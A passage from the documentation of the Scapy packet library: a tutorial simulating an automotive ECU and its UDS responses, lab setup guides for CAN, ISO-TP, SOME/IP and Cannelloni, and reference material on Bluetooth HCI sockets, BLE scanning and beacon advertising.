accurately simulate the ECU's power consumption.\nFor multiprocessing support, file descriptors and multiprocessing Values are used. Here’s how to set it up:\n\n.. code-block:: python\n\n    import logging\n    import sys\n    from multiprocessing import Value, Pipe\n    from multiprocessing.sharedctypes import Synchronized\n\n    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n\n    class AutomatonPowerSupply():\n        def __init__(self) -> None:\n            super().__init__()\n            self.logger = logging.getLogger(\"AutomatonPowerSupply\")\n            self.logger.info(\"Init done\")\n            self.voltage_on: Synchronized[int] = Value(\"i\", 0)\n            self.current_noise: Synchronized[int] = Value(\"i\", 0)\n            self.current_on: Synchronized[int] = Value(\"i\", 0)\n            self.delay_off = 0.001\n            self.delay_on = 0.001\n            self.read_pipe, self.write_pipe = Pipe()\n            self.closed = False\n\n        def on(self) -> None:\n            self.logger.debug(\"ON\")\n            with self.voltage_on.get_lock():\n                self.voltage_on.value = 12\n            self.write_pipe.send(b\"1\")\n\n        def off(self) -> None:\n            self.logger.debug(\"OFF\")\n            with self.voltage_on.get_lock():\n                self.voltage_on.value = 0\n            self.write_pipe.send(b\"0\")\n\n        def close(self) -> None:\n            if self.closed:\n                return\n            self.closed = True\n            self.read_pipe.close()\n            self.write_pipe.close()\n\n        def reset(self) -> None:\n            self.off()\n            time.sleep(self.delay_off)\n            self.on()\n            time.sleep(self.delay_on)\n\nThis code establishes the power supply, enabling it to control the power state of the ECU automaton.\nThe `on`, `off`, and `reset` methods manage state transitions, while `Pipe` and `Value` ensure inter-process\ncommunication and synchronization. This setup guarantees accurate modeling and control of the ECU's power\nconsumption within a multiprocessing environment.\n\nECU Automaton\n-------------\n\nNow that we have a power supply, we can start modeling our ECU automaton, which can be turned on and off.\n\n.. code-block:: python\n\n    from typing import Optional, List, IO, Type, Any\n    from scapy.automaton import Automaton, ATMT\n\n    class EcuAutomaton(Automaton):\n        def __init__(self, *args: Any, power_supply: AutomatonPowerSupply, **kargs: Any) -> None:\n            self.power_supply = power_supply\n            super().__init__(*args,\n                             external_fd={\"power_supply_fd\": self.power_supply.read_pipe.fileno()},\n                             **kargs)\n\n        @ATMT.state(initial=1)  # type: ignore\n        def ECU_OFF(self) -> None:\n            pass\n\n        @ATMT.state()  # type: ignore\n        def ECU_ON(self) -> None:\n            pass\n\n        # ====== POWER HANDLING ==========\n        @ATMT.ioevent(ECU_OFF, name=\"power_supply_fd\")  # type: ignore\n        def event_voltage_changed_on(self, fd: IO[bytes]) -> None:\n            new_voltage = fd.read(1)\n            if new_voltage == b\"1\":\n                raise self.ECU_ON()\n\n        @ATMT.ioevent(ECU_ON, name=\"power_supply_fd\")  # type: ignore\n        def event_voltage_changed_off(self, fd: IO[bytes]) -> None:\n            new_voltage = fd.read(1)\n            if new_voltage == b\"0\":\n                raise self.ECU_OFF()\n\n        @ATMT.action(event_voltage_changed_on)  # type: ignore\n        def action_consumption_on(self) -> None:\n            self.debug(1, \"Consuming energy ON\")\n            with self.power_supply.current_on.get_lock():\n                self.power_supply.current_on.value = 1\n\n        @ATMT.action(event_voltage_changed_off)  # type: ignore\n        def action_consumption_off(self) -> None:\n            self.debug(1, \"Consuming energy OFF\")\n            with self.power_supply.current_on.get_lock():\n                self.power_supply.current_on.value = 0\n\nThis code defines an `EcuAutomaton` class that models an ECU with two states: ON and OFF. It uses Scapy's automaton\nframework to handle the state transitions based on the power supply's status. The `event_voltage_changed_on` and\n`event_voltage_changed_off` methods listen for voltage changes to switch states, while `action_consumption_on` and\n`action_consumption_off` manage the power consumption behavior. This setup allows for a robust simulation of an ECU's\npower cycling behavior.\n\nLet's give it a shot:\n\n.. code-block:: python\n\n    import threading\n    import time\n    from scapy.contrib.cansocket import NativeCANSocket\n    from scapy.error import log_runtime\n\n    ps = AutomatonPowerSupply()\n    cs = NativeCANSocket(\"vcan0\")\n    automaton = EcuAutomaton(debug=1, power_supply=ps, sock=cs)\n    automaton.runbg()\n\n    ps.on()\n    time.sleep(0.1)\n    print(f\"Current consumption {ps.current_on.value}\")\n    ps.off()\n    time.sleep(0.1)\n    print(f\"Current consumption {ps.current_on.value}\")\n\n    automaton.stop()\n\nThis code sets up and tests our ECU automaton. We import the necessary modules and initialize the power supply and\nCAN socket. We then create an instance of `EcuAutomaton` with debugging enabled, and run it in the background.\n\nWe power on the ECU and wait a bit to let it stabilize. Then, we print the current consumption, turn off the power,\nwait again, and print the current consumption once more. Finally, we stop the automaton.\n\nBy running this code, you should see the current consumption values change as the ECU powers on and off, demonstrating\nour automaton in action.\n\nSimulating UDS\n--------------\n\nNext up, we want to communicate with our automaton over UDS (Unified Diagnostic Services), aiming to implement\ncomplex state machines like Security Access. Let's start with a simpler example. The following function allows\nus to receive and send packets from the automaton's socket, as provided in the `init` function.\n\n.. code-block:: python\n\n    class EcuAutomaton(Automaton):\n\n        # Existing states and transitions\n\n        @ATMT.receive_condition(ECU_ON)  # type: ignore\n        def on_pkt_on_received_ON(self, pkt: Packet) -> None:\n            response = None\n            if pkt:\n                if response := self.get_default_uds_response(pkt):\n                    self.my_send(response)\n\n        def get_default_uds_response(self, pkt: Packet) -> Optional[Packet]:\n            service = bytes(pkt)[0]\n            length = len(pkt)\n            sub_function = bytes(pkt)[1] if length > 1 else None\n            match service, length, sub_function:\n                case 0x10, 2, 1:\n                    return UDS() / UDS_DSCPR(b\"\\x01\")\n                case 0x3E, 2, 0:\n                    return UDS() / UDS_TPPR()\n                case 0x3E, 2, 0x80:\n                    return None\n                case 0x3E, 2, _:\n                    return UDS() / UDS_NR(requestServiceId=service,\n                                          negativeResponseCode=\"subFunctionNotSupported\")\n                case 0x3E, _, _:\n                    return UDS() / UDS_NR(requestServiceId=service,\n                                          negativeResponseCode=\"incorrectMessageLengthOrInvalidFormat\")\n                case 0x27, _, _:\n                    return UDS() / UDS_NR(requestServiceId=service,\n                                          negativeResponseCode=\"incorrectMessageLengthOrInvalidFormat\")\n                case _:\n                    return UDS() / UDS_NR(requestServiceId=service, negativeResponseCode=\"serviceNotSupported\")\n\nBy using Python's match-case operator, we can craft a very elegant UDS answering machine. ECUs are usually precise\nwith their negative response codes, and modeling this becomes straightforward with the match operator. For instance,\nconsider the TesterPresent case. If we receive the correct service, length, and sub-function, we respond positively.\nIf the sub-function is anything else, we fall through to the negative response case \"subFunctionNotSupported\". If the\nlength is incorrect, we return \"incorrectMessageLengthOrInvalidFormat\". Finally, if the service is unknown, the\nfunction returns \"serviceNotSupported\". This approach allows us to handle UDS communication effectively and implement\nthe necessary logic for our ECU automaton.\n\nFull example:\n\n.. code-block:: python\n\n    from typing import Optional, List, IO, Type, Any\n    from scapy.packet import Packet\n    from scapy.automaton import ATMT, Automaton\n    from scapy.contrib.automotive.uds import *\n    from scapy.contrib.isotp import *\n\n    class EcuAutomaton(Automaton):\n        def __init__(self, *args: Any, power_supply: AutomatonPowerSupply, **kargs: Any) -> None:\n            self.power_supply = power_supply\n            super().__init__(*args,\n                             external_fd={\"power_supply_fd\": self.power_supply.read_pipe.fileno()},\n                             **kargs)\n\n        @ATMT.state(initial=1)  # type: ignore\n        def ECU_OFF(self) -> None:\n            pass\n\n        @ATMT.state()  # type: ignore\n        def ECU_ON(self) -> None:\n            pass\n\n        # ====== POWER HANDLING ==========\n        @ATMT.ioevent(ECU_OFF, name=\"power_supply_fd\")  # type: ignore\n        def event_voltage_changed_on(self, fd: IO[bytes]) -> None:\n            new_voltage = fd.read(1)\n            if new_voltage == b\"1\":\n                raise self.ECU_ON()\n\n        @ATMT.ioevent(ECU_ON, name=\"power_supply_fd\")  # type: ignore\n        def event_voltage_changed_off(self, fd: IO[bytes]) -> None:\n            new_voltage = fd.read(1)\n            if new_voltage == b\"0\":\n                raise self.ECU_OFF()\n\n        @ATMT.action(event_voltage_changed_on)  # type: ignore\n        def action_consumption_on(self) -> None:\n            self.debug(1, \"Consuming energy ON\")\n            with self.power_supply.current_on.get_lock():\n                self.power_supply.current_on.value = 1\n\n        @ATMT.action(event_voltage_changed_off)  # type: ignore\n        def action_consumption_off(self) -> None:\n            self.debug(1, \"Consuming energy OFF\")\n            with self.power_supply.current_on.get_lock():\n                self.power_supply.current_on.value = 0\n\n        @ATMT.receive_condition(ECU_ON)  # type: ignore\n        def on_pkt_on_received(self, pkt: Packet) -> None:\n            if response := self.get_default_uds_response(pkt):\n                self.my_send(response)\n\n        def get_default_uds_response(self, pkt: Packet) -> Optional[Packet]:\n            service = bytes(pkt)[0]\n            length = len(pkt)\n            sub_function = bytes(pkt)[1] if length else None\n            match service, length, sub_function:\n                case 0x10, 2, 1:\n                    return UDS()/UDS_DSCPR(b\"\\x01\")\n                case 0x3E, 2, 0:\n                    return UDS() / UDS_TPPR()\n                case 0x3E, 2, 0x80:\n                    return None\n                case 0x3E, 2, _:\n                    return UDS() / UDS_NR(requestServiceId=service,\n\n\n\nTest-Setup Tutorials\n====================\n\nISO-TP Kernel Module Installation\n---------------------------------\n\nA Linux ISO-TP kernel module can be downloaded from this website:\n``https://github.com/hartkopp/can-isotp.git``. The file\n``README.isotp`` in this repository provides all information and\nnecessary steps for downloading and building this kernel module. The\nISO-TP kernel module should also be added to the ``/etc/modules`` file,\nto load this module automatically at system boot.\n\nCAN-Interface Setup\n-------------------\n\nAs the final step to prepare CAN interfaces for usage, these\ninterfaces have to be set up through some terminal commands. The bitrate\ncan be chosen to fit the bitrate of a CAN bus under test.\n\nHow-To::\n\n    ip link set can0 up type can bitrate 500000\n    ip link set can1 up type can bitrate 500000\n\nRaspberry Pi SOME/IP setup\n--------------------------\n\nTo build a small test environment in which you can send SOME/IP messages to and from server instances or disguise yourself as a server, one Raspberry Pi, your laptop and the vsomeip library are sufficient.\n\n#. | **Download image**\n\n   Download the latest raspbian image (``https://www.raspberrypi.org/downloads/raspbian/``) and install it on the Raspberry.\n\n#. | **Vsomeip setup**\n\n   Download the vsomeip library on the Raspberry, apply the git patch so it can work with the newer boost libraries and then install it.\n\n   ::\n\n      git clone https://github.com/GENIVI/vsomeip.git\n      cd vsomeip\n      wget -O 0001-Support-boost-v1.66.patch.zip \\\n      https://github.com/GENIVI/vsomeip/files/2244890/0001-Support-boost-v1.66.patch.zip\n      unzip 0001-Support-boost-v1.66.patch.zip\n      git apply 0001-Support-boost-v1.66.patch\n      mkdir build\n      cd build\n      cmake -DENABLE_SIGNAL_HANDLING=1 ..\n      make\n      make install\n\n#. | **Make applications**\n\n   Write some small applications which function as either a service or a client and use the Scapy SOME/IP implementation to communicate with the client or the server. Examples for vsomeip applications are available on the vsomeip github wiki page (``https://github.com/GENIVI/vsomeip/wiki/vsomeip-in-10-minutes``).\n\n\n\nCannelloni Framework\n--------------------\n\nThe Cannelloni framework is a small application written in C++ to\ntransfer CAN data over UDP. In this way, a researcher can map the CAN\ncommunication of a remote device to its workstation, or even combine\nmultiple remote CAN devices on his machine. The framework can be\ndownloaded from this website:\n``https://github.com/mguentner/cannelloni.git``. The ``README.md`` file\nexplains the installation and usage in detail. Cannelloni needs virtual\nCAN interfaces on the operator's machine. The next listing shows the\nsetup of virtual CAN interfaces.\n\nHow-To::\n\n    modprobe vcan\n\n    ip link add name vcan0 type vcan\n    ip link add name vcan1 type vcan\n\n    ip link set dev vcan0 up\n    ip link set dev vcan1 up\n\n    tc qdisc add dev vcan0 root tbf rate 300kbit latency 100ms burst 1000\n    tc qdisc add dev vcan1 root tbf rate 300kbit latency 100ms burst 1000\n\n    cannelloni -I vcan0 -R <remote-IP> -r 20000 -l 20000 &\n    cannelloni -I vcan1 -R <remote-IP> -r 20001 -l 20001 &\n\n"
  },
  {
    "path": "doc/scapy/layers/bluetooth.rst",
    "content": "*********\nBluetooth\n*********\n\n.. note::\n\n   If you're new to using Scapy, start with the :doc:`usage documentation\n   <../usage>`, which describes how to use Scapy with Ethernet and IP.\n\n.. warning::\n\n   Scapy does not support Bluetooth interfaces on Windows.\n\nWhat is Bluetooth?\n==================\n\nBluetooth is a short range, mostly point-to-point wireless communication\nprotocol that operates on the 2.4GHz `ISM band`__.\n\n__ https://en.wikipedia.org/wiki/ISM_band\n\n`Bluetooth standards are publicly available`__ from the `Bluetooth Special\nInterest Group.`__\n\n__ https://www.bluetooth.com/specifications/bluetooth-core-specification\n\n__ https://www.bluetooth.com/\n\nBroadly speaking, Bluetooth has *three* distinct physical-layer protocols:\n\nBluetooth Basic Rate (BR) and Enhanced Data Rate (EDR)\n   These are the \"classic\" Bluetooth physical layers.\n   \n   :abbr:`BR (Basic Rate)` reaches effective speeds of up to 721kbit/s. This was\n   ratified as ``IEEE 802.15.1-2002`` (v1.1) and ``-2005`` (v1.2).\n\n   :abbr:`EDR (Enhanced Data Rate)` was introduced as an optional feature of\n   Bluetooth 2.0 (2004). It can reach effective speeds of 2.1Mbit/s, and has\n   lower power consumption than BR.\n\n   In Bluetooth 4.0 and later, this is not supported by *Low Energy* interfaces,\n   unless they are marked as *dual-mode*.\n\nBluetooth High Speed (HS)\n  Introduced as an optional feature of Bluetooth 3.0 (2009), this extends\n  Bluetooth by providing ``IEEE 802.11`` (WiFi) as an alternative, higher-speed\n  data transport. Nodes negotiate switching with\n  :abbr:`AMP (Alternative MAC/PHY)`.\n    \n  This is only supported by Bluetooth interfaces marked as *+HS*. Not all\n  Bluetooth 3.0 and later interfaces support it.\n\nBluetooth Low Energy (BLE)\n  Introduced in Bluetooth 4.0\t(2010), this is an alternate physical layer\n  designed for low power, embedded systems. It has shorter setup times, lower\n  data rates and smaller :abbr:`MTU (maximum transmission unit)` sizes.  It adds\n  broadcast and mesh network topologies, in addition to point-to-point links.\n\n  This is only supported by Bluetooth interface marked as *+LE* or\n  *Low Energy* -- not all Bluetooth 4.0 and later interfaces support it.\n\nMost Bluetooth interfaces on PCs use USB connectivity (even on laptops), and\nthis is controlled with the Host-Controller Interface (HCI).  This typically\ndoesn't support promiscuous mode (sniffing), however there are many other\ndedicated, non-HCI devices that support it.\n\nBluetooth sockets (``AF_BLUETOOTH``)\n------------------------------------\n\nThere are multiple protocols available for Bluetooth through ``AF_BLUETOOTH``\nsockets:\n\nHost-controller interface (HCI) ``BTPROTO_HCI``\n  This is the \"base\" level interface for communicating with a Bluetooth\n  controller.  Everything is built on top of this, and this represents about as\n  close to the physical layer as one can get with regular Bluetooth hardware.\n\n  Scapy class: ``BluetoothMonitorSocket``\n\n  Allows to capture all HCI transactions that are taking place over all HCI\n  interfaces (including in BlueZ core). It is intended to perform monitoring of\n  transactions, device attachment and removal, BlueZ logging...\n\n  Scapy class: ``BluetoothUserSocket``\n\n  This socket interacts with a Bluetooth controller with complete and exclusive\n  control of de device. This means that BlueZ will not try to take control of\n  the interface and will not help you manage connections via this interface.\n\n  Scapy class: ``BluetoothHCISocket``\n\n  Using HCI protocol, this socket interacts with a Bluetooth controller but\n  does not have exclusive control over it, allowing BlueZ and other\n  applications to still use the adapter to communicate with devices.\n\nLogical Link Control and Adaptation Layer Protocol (L2CAP) ``BTPROTO_L2CAP``\n  Scapy class: ``BluetoothL2CAPSocket``\n\n  Sitting above the HCI, it provides connection and connection-less data\n  transport to higher level protocols. It provides protocol multiplexing, packet\n  segmentation and reassembly operations.\n\n  When communicating with a single device, one may use a L2CAP channel.\n\nRFCOMM ``BluetoothRFCommSocket``\n  Scapy class: ``BluetoothRFCommSocket``\n\n  RFCOMM is a serial port emulation protocol which operates over L2CAP.\n  \n  In addition to regular data transfer, it also supports manipulation of all of\n  RS-232's non-data control circuitry (:abbr:`RTS (Request To Send)`,\n  :abbr:`DTR (Data Terminal Ready)`, etc.)\n\nBluetooth on Linux\n------------------\n\nLinux's Bluetooth stack is developed by `the BlueZ project`__. `The Linux kernel\ncontains drivers to provide access to Bluetooth`__ interfaces using HCI, which\nare exposed through sockets with ``AF_BLUETOOTH``.\n\n__ http://www.bluez.org/\n\n__ https://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git\n\nBlueZ also provides a user-space companion to these kernel interfaces. The key\ncomponents are:\n\n``bluetoothd``\n  A daemon that provides access to Bluetooth devices over D-Bus.\n\n``bluetoothctl``\n  An interactive command-line program which interfaces with the ``bluetoothd``\n  over D-Bus.\n\n``hcitool``\n  A command-line program which interfaces directly with kernel interfaces.\n\n\n`Support for Classic Bluetooth in bluez is quite mature`__, however `BLE is\nunder active development`__.\n\n__ http://www.bluez.org/profiles/\n\n__ https://git.kernel.org/pub/scm/bluetooth/bluez.git/tree/TODO\n\nFirst steps\n===========\n\n.. note::\n\n   You must run these examples as ``root``.  These have only been tested on\n   Linux, and require Scapy v2.4.3 or later.\n\nVerify Bluetooth device\n-----------------------\n\nBefore doing anything else, you'll want to check that your Bluetooth device has\nactually been detected by the operating system:\n\n.. code-block:: console\n\n   $ hcitool dev\n   Devices:\n\t   hci0\txx:xx:xx:xx:xx:xx\n\n\n.. _hci-open:\n\nOpening a HCI socket\n--------------------\n\nThe first step in Scapy is to open a HCI socket to the underlying Bluetooth\ndevice:\n\n.. code-block:: pycon\n\n   >>> # Open a HCI socket to device hci0\n   >>> bt = BluetoothHCISocket(0)\n\nSend a control packet\n---------------------\n\nThis packet contains no operation (ie: it does nothing), but it will test that\nyou can communicate through the HCI device:\n\n.. code-block:: pycon\n\n   >>> ans, unans = bt.sr(HCI_Hdr()/HCI_Command_Hdr())\n   Received 1 packets, got 1 answers, remaining 0 packets\n\nYou can then inspect the response:\n\n.. code-block:: pycon\n\n   >>> # ans[0] = Answered packet #0\n   >>> # ans[0][1] = The response packet\n   >>> p = ans[0][1]\n   >>> p.show()\n   ###[ HCI header ]###\n     type= Event\n   ###[ HCI Event header ]###\n        code= 0xf\n        len= 4\n   ###[ Command Status ]###\n           status= 1\n           number= 2\n           opcode= 0x0\n\nReceiving all events\n--------------------\n\nTo start capturing all events from the HCI device, use ``sniff``:\n\n.. code-block:: pycon\n\n   >>> pkts = bt.sniff()\n   (press ^C after a few seconds to stop...)\n   >>> pkts\n   <Sniffed: TCP:0 UDP:0 ICMP:0 Other:0>\n\nUnless your computer is doing something else with Bluetooth, you'll probably get\n0 packets at this point. This is because ``sniff`` doesn't actually enable any\npromiscuous mode on the device.\n\nHowever, this is useful for some other commands that will be explained later on.\n\nImporting and exporting packets\n-------------------------------\n\n:ref:`Just like with other protocols <import-export>`, you can save packets for\nfuture use in ``libpcap`` format with ``wrpcap``:\n\n.. code-block:: pycon\n\n   >>> wrpcap(\"/tmp/bluetooth.pcap\", pkts)\n\nAnd load them up again with ``rdpcap``:\n\n.. code-block:: pycon\n\n   >>> pkts = rdpcap(\"/tmp/bluetooth.pcap\")\n\n\nWorking with Bluetooth Low Energy\n=================================\n\n.. note::\n\n   This requires a Bluetooth 4.0 or later interface that supports\n   :abbr:`BLE (Bluetooth Low Energy)`, either as a dedicated\n   :abbr:`LE (Low Energy)` chipset or a *dual-mode* LE +\n   :abbr:`BR (Basic Rate)`/:abbr:`EDR (Enhanced Data Rate)` chipset (such as an\n   `RTL8723BU`__).\n   \n   These instructions only been tested on Linux, and require Scapy v2.4.3 or\n   later. There are bugs in earlier versions which decode packets incorrectly.\n\n__ https://www.realtek.com/en/products/communications-network-ics/item/rtl8723bu\n\nThese examples presume you have already :ref:`opened a HCI socket <hci-open>`\n(as ``bt``).\n\nDiscovering nearby devices\n--------------------------\n\nEnabling discovery mode\n^^^^^^^^^^^^^^^^^^^^^^^\n\nStart active discovery mode with:\n\n.. code-block:: pycon\n\n   >>> # type=1: Active scanning mode\n   >>> bt.sr(\n   ...   HCI_Hdr()/\n   ...   HCI_Command_Hdr()/\n   ...   HCI_Cmd_LE_Set_Scan_Parameters(type=1))\n   Received 1 packets, got 1 answers, remaining 0 packets\n\n   >>> # filter_dups=False: Show duplicate advertising reports, because these\n   >>> # sometimes contain different data!\n   >>> bt.sr(\n   ...   HCI_Hdr()/\n   ...   HCI_Command_Hdr()/\n   ...   HCI_Cmd_LE_Set_Scan_Enable(\n   ...     enable=True,\n   ...     filter_dups=False))\n   Received 1 packets, got 1 answers, remaining 0 packets\n\n\nIn the background, there are already HCI events waiting on the socket. You can\ngrab these events with ``sniff``:\n\n.. code-block:: pycon\n\n   >>> # The lfilter will drop anything that's not an advertising report.\n   >>> adverts = bt.sniff(lfilter=lambda p: HCI_LE_Meta_Advertising_Reports in p)\n   (press ^C after a few seconds to stop...)\n   >>> adverts\n   <Sniffed: TCP:0 UDP:0 ICMP:0 Other:101>\n\nOnce you have the packets, disable discovery mode with:\n\n.. code-block:: pycon\n\n   >>> bt.sr(\n   ...   HCI_Hdr()/\n   ...   HCI_Command_Hdr()/\n   ...   HCI_Cmd_LE_Set_Scan_Enable(\n   ...     enable=False))\n   Begin emission:\n   Finished sending 1 packets.\n   ...*\n   Received 4 packets, got 1 answers, remaining 0 packets\n   (<Results: TCP:0 UDP:0 ICMP:0 Other:1>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)\n\nCollecting advertising reports\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nYou can sometimes get multiple ``HCI_LE_Meta_Advertising_Report`` in a single\n``HCI_LE_Meta_Advertising_Reports``, and these can also be for different\ndevices!\n\n.. code-block:: python3\n\n   # Rearrange into a generator that returns reports sequentially\n   from itertools import chain\n   reports = chain.from_iterable(\n     p[HCI_LE_Meta_Advertising_Reports].reports\n     for p in adverts)\n\n   # Group reports by MAC address (consumes the reports generator)\n   devices = {}\n   for report in reports:\n     device = devices.setdefault(report.addr, [])\n     device.append(report)\n\n   # Packet counters\n   devices_pkts = dict((k, len(v)) for k, v in devices.items())\n   print(devices_pkts)\n   # {'xx:xx:xx:xx:xx:xx': 408, 'xx:xx:xx:xx:xx:xx': 2}\n\n\nFiltering advertising reports\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n.. code-block:: python3\n\n   # Get one packet for each device that broadcasted short UUID 0xfe50 (Google).\n   # Android devices broadcast this pretty much constantly.\n   google = {}\n   for mac, reports in devices.items():\n     for report in reports:\n       if (EIR_CompleteList16BitServiceUUIDs in report and\n           0xfe50 in report[EIR_CompleteList16BitServiceUUIDs].svc_uuids):\n         google[mac] = report\n         break\n\n   # List MAC addresses that sent such a broadcast\n   print(google.keys())\n   # dict_keys(['xx:xx:xx:xx:xx:xx', 'xx:xx:xx:xx:xx:xx'])\n\nLook at the first broadcast received:\n\n.. code-block:: pycon\n\n   >>> for mac, report in google.items():\n   ...   report.show()\n   ...   break\n   ...\n   ###[ Advertising Report ]###\n     type= conn_und\n     atype= random\n     addr= xx:xx:xx:xx:xx:xx\n     len= 13\n     \\data\\\n      |###[ EIR Header ]###\n      |  len= 2\n      |  type= flags\n      |###[ Flags ]###\n      |     flags= general_disc_mode\n      |###[ EIR Header ]###\n      |  len= 3\n      |  type= complete_list_16_bit_svc_uuids\n      |###[ Complete list of 16-bit service UUIDs ]###\n      |     svc_uuids= [0xfe50]\n      |###[ EIR Header ]###\n      |  len= 5\n      |  type= svc_data_16_bit_uuid\n      |###[ EIR Service Data - 16-bit UUID ]###\n      |     svc_uuid= 0xfe50\n      |     data= 'AB'\n     rssi= -96\n\nSetting up advertising\n----------------------\n\n.. note::\n\n   Changing advertisements may not take effect until advertisements have first\n   been :ref:`stopped <le-adv-stop>`.\n\nAltBeacon\n^^^^^^^^^\n\n`AltBeacon`__ is a proximity beacon protocol developed by Radius Networks.  This\nexample sets up a virtual AltBeacon:\n\n__ https://github.com/AltBeacon/spec\n\n.. code-block:: python3\n\n    # Load the contrib module for AltBeacon\n    load_contrib('altbeacon')\n\n    ab = AltBeacon(\n        id1='2f234454-cf6d-4a0f-adf2-f4911ba9ffa6',\n        id2=1,\n        id3=2,\n        tx_power=-59,\n    )\n\n    bt.sr(ab.build_set_advertising_data())\n\nOnce :ref:`advertising has been started <le-adv-start>`, the beacon may then be\ndetected with `Beacon Locator`__ (Android).\n\n.. note::\n\n    Beacon Locator v1.2.2 `incorrectly reports the beacon as being an\n    iBeacon`__, but the values are otherwise correct.\n\n__ https://github.com/vitas/beaconloc\n__ https://github.com/vitas/beaconloc/issues/32\n\nEddystone\n^^^^^^^^^\n\n`Eddystone`__ is a proximity beacon protocol developed by Google. This uses an\nEddystone-specific service data field.\n\n__ https://github.com/google/eddystone/\n\nThis example sets up a virtual `Eddystone URL`__ beacon:\n\n__ https://github.com/google/eddystone/tree/master/eddystone-url\n\n.. code-block:: python3\n\n   # Load the contrib module for Eddystone\n   load_contrib('eddystone')\n\n   # Eddystone_URL.from_url() builds an Eddystone_URL frame for a given URL.\n   #\n   # build_set_advertising_data() wraps an Eddystone_Frame into a\n   # HCI_Cmd_LE_Set_Advertising_Data payload, that can be sent to the BLE\n   # controller.\n   bt.sr(Eddystone_URL.from_url(\n     'https://scapy.net').build_set_advertising_data())\n\nOnce :ref:`advertising has been started <le-adv-start>`, the beacon may then be\ndetected with `Eddystone Validator`__ or `Beacon Locator`__ (Android):\n\n.. image:: ../graphics/ble_eddystone_url.png\n\n__ https://github.com/google/eddystone/tree/master/tools/eddystone-validator\n__ https://github.com/vitas/beaconloc\n\n.. _adv-ibeacon:\n\niBeacon\n^^^^^^^\n\n`iBeacon`__ is a proximity beacon protocol developed by Apple, which uses their\nmanufacturer-specific data field.  :ref:`Apple/iBeacon framing <apple-ble>`\n(below) describes this in more detail.\n\n__ https://en.wikipedia.org/wiki/IBeacon\n\nThis example sets up a virtual iBeacon:\n\n.. code-block:: python3\n\n   # Load the contrib module for iBeacon\n   load_contrib('ibeacon')\n\n   # Beacon data consists of a UUID, and two 16-bit integers: \"major\" and\n   # \"minor\".\n   #\n   # iBeacon sits on top of Apple's BLE protocol.\n   p = Apple_BLE_Submessage()/IBeacon_Data(\n      uuid='fb0b57a2-8228-44cd-913a-94a122ba1206',\n      major=1, minor=2)\n\n   # build_set_advertising_data() wraps an Apple_BLE_Submessage or\n   # Apple_BLE_Frame into a HCI_Cmd_LE_Set_Advertising_Data payload, that can\n   # be sent to the BLE controller.\n   bt.sr(p.build_set_advertising_data())\n\nOnce :ref:`advertising has been started <le-adv-start>`, the beacon may then be\ndetected with `Beacon Locator`__ (Android):\n\n.. image:: ../graphics/ble_ibeacon.png\n\n__ https://github.com/vitas/beaconloc\n\n\n.. _le-adv-start:\n\nStarting advertising\n--------------------\n\n.. code-block:: python3\n\n   bt.sr(HCI_Hdr()/\n         HCI_Command_Hdr()/\n         HCI_Cmd_LE_Set_Advertise_Enable(enable=True))\n\n.. _le-adv-stop:\n\nStopping advertising\n--------------------\n\n.. code-block:: python3\n\n   bt.sr(HCI_Hdr()/\n         HCI_Command_Hdr()/\n         HCI_Cmd_LE_Set_Advertise_Enable(enable=False))\n\n\nResources and references\n------------------------\n\n  * `16-bit UUIDs for members`__: List of registered UUIDs which appear in\n    ``EIR_CompleteList16BitServiceUUIDs`` and ``EIR_ServiceData16BitUUID``.\n\n__ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members\n\n  * `16-bit UUIDs for SDOs`__: List of registered UUIDs which are used by\n    Standards Development Organisations.\n  \n__ https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-sdos\n\n  * `Company Identifiers`__: List of company IDs, which appear in\n    ``EIR_Manufacturer_Specific_Data.company_id``.\n  \n__ https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers\n\n  * `Generic Access Profile`__: List of assigned type IDs and links to\n    specification definitions, which appear in ``EIR_Header``.\n \n__ https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile\n\n.. _apple-ble:\n\nApple/iBeacon broadcast frames\n==============================\n\n.. note::\n\n    This describes the wire format for Apple's Bluetooth Low Energy\n    advertisements, based on (limited) publicly available information. It is not\n    specific to using Bluetooth on Apple operating systems.\n\n`iBeacon`__ is Apple's proximity beacon protocol. Scapy includes a contrib\nmodule, ``ibeacon``, for working with Apple's :abbr:`BLE (Bluetooth Low Energy)`\nbroadcasts:\n\n__ https://en.wikipedia.org/wiki/IBeacon\n\n.. code-block:: pycon\n\n   >>> load_contrib('ibeacon')\n\n:ref:`Setting up advertising for iBeacon <adv-ibeacon>` (above) describes how to\nbroadcast a simple beacon.\n\nWhile this module is called ``ibeacon``, Apple has other \"submessages\" which are\nalso advertised within their manufacturer-specific data field, including:\n\n * `AirDrop`__\n * AirPlay\n * AirPods\n * `Handoff`__\n * Nearby\n * `Overflow area`__\n\n__ https://en.wikipedia.org/wiki/AirDrop\n__ https://en.wikipedia.org/wiki/OS_X_Yosemite#Continuity\n__ https://developer.apple.com/documentation/corebluetooth/cbperipheralmanager/1393252-startadvertising\n\nFor compatibility with these other broadcasts, Apple BLE frames in Scapy are\nlayered on top of ``Apple_BLE_Submessage`` and ``Apple_BLE_Frame``:\n\n * ``HCI_Cmd_LE_Set_Advertising_Data``, ``HCI_LE_Meta_Advertising_Report``,\n   ``BTLE_ADV_IND``, ``BTLE_ADV_NONCONN_IND`` or ``BTLE_ADV_SCAN_IND`` contain\n   one or more...\n * ``EIR_Hdr``, which may have a payload of one...\n * ``EIR_Manufacturer_Specific_Data``, which may have a payload of one...\n * ``Apple_BLE_Frame``, which contains one or more...\n * ``Apple_BLE_Submessage``, which contains a payload of one...\n * ``Raw`` (if not supported), or ``IBeacon_Data``.\n\nThis module only presently supports ``IBeacon_Data`` submessages. Other\nsubmessages are decoded as ``Raw``.\n\nOne might sometimes see multiple submessages in a single broadcast, such as\nHandoff and Nearby.  This is not mandatory -- there are also Handoff-only and\nNearby-only broadcasts.\n\nInspecting a raw BTLE advertisement frame from an Apple device:\n\n.. code-block:: python3\n\n    p = BTLE(hex_bytes('d6be898e4024320cfb574d5a02011a1aff4c000c0e009c6b8f40440f1583ec895148b410050318c0b525b8f7d4'))\n    p.show()\n\nResults in the output:\n\n.. code-block:: text\n\n    ###[ BT4LE ]###\n      access_addr= 0x8e89bed6\n      